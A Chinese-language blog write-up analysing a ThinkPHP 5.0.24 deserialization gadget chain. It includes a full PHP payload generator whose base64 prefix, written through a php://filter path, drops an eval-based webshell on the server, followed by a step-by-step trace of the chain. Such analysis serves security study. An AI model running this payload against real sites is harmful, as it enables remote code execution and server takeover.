前言:

之前花了很大的功夫审计了Thinkphp5.1.x的反序列化利用连,对整个反序列化的利用过程和整个代码审计的逻辑,过程都学到了很多,这次继续来分析Thinkphp5.0.X的反序列化利用连比第一次轻松,容易了许多,也学到了不少新的东西,对代码逻辑的理解又更深了。

复现环境:

thinkphp5.0.24,windows10

0x01:从与5.1不一样的地方开始入手

因为所用到的知识以及配置的环境都和5.0.24的哪一条链很类似,只不过利用的类,方式不同了,大同小异,所以我们跳过与5.1相似的地方直接从不一样的地方开始分析。

先放出payload方便分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php
namespace think\process\pipes;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = [new \think\model\Merge];
}
}

namespace think\model;
use think\Model;

class Merge extends Model
{
protected $append = [];
protected $error;

public function __construct()
{
$this->append = [
'MENGDA' => 'getError'
];
$this->error = (new \think\model\relation\BelongsTo);
}
}
namespace think;
class Model{}

namespace think\console;
class Output
{
protected $styles = [];
private $handle = null;
public function __construct()
{
$this->styles = ['removeWhereField'];
$this->handle = (new \think\session\driver\Memcache);
}
}

namespace think\model\relation;
class BelongsTo
{
protected $query;
public function __construct()
{
$this->query = (new \think\console\Output);
}
}

namespace think\session\driver;
class Memcache
{
protected $handler = null;
public function __construct()
{
$this->handler = (new \think\cache\driver\Memcached);
}
}
namespace think\cache\driver;
class File
{
protected $tag;
protected $options = [];
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => 'php://filter/convert.base64-decode/resource=./',
];
}
}

class Memcached
{
protected $tag;
protected $options = [];
protected $handler = null;

public function __construct()
{
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAgZXZhbCgkX0dFVFsnbWVuZ2RhJ10pOz8+',
];
$this->handler = (new File);
}
}
echo base64_encode(serialize(new \think\process\pipes\Windows()));

和5.1一样,最初的入口都是Windows类中的destruct魔术方法,然后在file_exists中传入一个实例化对象调用此对象的toString魔术方法。这里就不多说了,不一样的也就从这里开始了。

在Payload中可以看到windows类中实例化的对象是Merge对象,而我们发现Merge对象是继承自Model对象的,所以直接来到Model类的toArray方法,到此都和5.1的链是一样的,都是进入了Model类的toArray方法,来到toArray方法后就和5.1发生了变化。

首先我们看到

在这$this->append可控,payload中将值设置为了’MENGDA’ => ‘getError’,那么在经过第一个foreach后,$key=MENGDA,$name=getError,我们看到第899行代码,进入parseName,此时传入的$name参数为getError,

可以看到parseName函数只是进行了一下格式转换,直接返回getError,此时$relation的值为getError,虽后便来到第900行代码,检测当前类中是否存在getError方法,若存在则将$modelRelation的值赋值为$this->$relation()的返回值,而此时$relation为getError,所以$modelRelation的值为model类中getError方法的返回值,我们看一下这个方法。

可以看到,getError直接返回$this->error,也就是直接返回一个我们可以控制的值。那么到现在$modelRelation的值我们可控了,根据payload可得知,我们将它控制为\think\model\relation\BelongsTo类。

紧接着我们回到toArray方法来到第902行代码,进入getRelationData()方法,代码如下:

可以看到该方法要求传入参数是一个Relation类型的类,这也是为什么我们要将$modelRealtion赋值为\think\model\relation\BelongsTo类,因为BelongsTo继承于OneToOne,

而OneToOne又继承于Relation

所以满足需求。

第一个if无法满足条件直接来到else,此时的$modelRelation为BelongsTo,来到BelongsTo类下的getRelation方法,

此时的$this->query的值可控,为\think\console\Output类,而output类中并不存在removeWhereField方法,所以跳转到output类中的call魔术方法中。

此处我们可以看到,if条件为$method是否存在于$this->styles中,而我们不存在的方法就是removeWhereField,所以payload中需要控制$this->style为removeField满足if条件,进入if可以看到call_user_func_array调用了当前类的block方法,我们的参数传入output类的block方法。来到block方法

将两个参数传入,$style为removeWhereField,$message为null,继续跟进来到writeln中,当前参数没有什么用所以不管他

继续跟进来到write,我们现在处于Output类中的write方法,$massages是上面block方法中writeln方法所传入的字符串,此时$this->handle为\think\session\driver\Memcache,跳转到Memcache类中的write方法

来到Memcache类中的write方法,此时$this->handler的值为\think\cache\driver\Memcached,所以跳转到Memcached类的set方法

来到Memcached类中的set方法

第109行代码进入判断,进入has方法image-20210429081321422

跟进getCacheKey方法

image-20210429081418204

可以看到,这里getCacheKey会返回一个$this->options[‘prefix’]和$name的拼接结果。而此时的getCacheKey是我们通过base64加密过后的危害代码,这个方法在后面会经常用到。紧接着进入下面的get方法,此时的$this->hanlder为File类,因此我们直接来到File类的get方法

image-20210429081938005

可以看到$filename为拼接后的字符串,is_file为false,取反为True,直接返回default,然后回到Memached中的set方法,来到下面对$key进行赋值此时再次调用getCacheKey,得到拼接字符串。最后调用File类的set方法,传入的值为$key,$value,$expire。此时仅仅只有$key是我们可控的,其他的无法控制。

来到file类中的set方法,此时$name就是我们传入的$key

image-20210429082821025

看到第150行代码,进入getCacheKey中,参数为刚刚拼接过后的字符串($key)。看到第160行代码,这里就是触发文件写入的点,将$data写入$filename,而data在这里我们是不可控的,拼接前的$data存在xeit(),即使我们的$data可控也无法让我们的危害代码执行。这里就绪要通过php伪协议将里面的内容进行加密,加密后exit()就不存在了。我选择的是base64加密,这也是为什么payload中的危害代码是通过base64加密的。

image-20210429082948443

可以看到首先将$name进行md5加密后进行了拼接。得到filename。这里我们控制$this->options[‘path’]为php伪协议php://filter/convert.base64-decode/resource=./拼接后的结果为

1
php://filter/convert.base64-decode/resource=./$name.php

当带着这个调用file_put_contents时会将$data的内容进行base64解密过后写入./$name.php

第一次文件写入成功,可是我们并没有将危害代码写入目标服务器。怎么办?

回到Memacached.php中

image-20210429083851991

在啊调用完第114行代码的set后我们进入了setTagItem方法,该方法会再次调用set函数,那么这次就给了我们可乘之机。

image-20210429084507081

if条件不满足直接将$name赋值给了$value,再次调用Memached类中的set方法,而此时,$value可控。

image-20210429084733935

带着$key,$value都可控的数据再次进入File类的set方法

image-20210429084835386

直接来到file_put_contents处调用。将危害代码写入名字为d8ff72877afda1b924db7a6527e07dd4.php的文件中,而这个d8ff72877afda1b924db7a6527e07dd4是$name的md5值。文件写入完成。第一个8f开头的文件是第一次无法写入危害代码生成的,第二个d8开头的文件是我们可控后第二次写入的。

image-20210429085316343

测试:

image-20210429085623474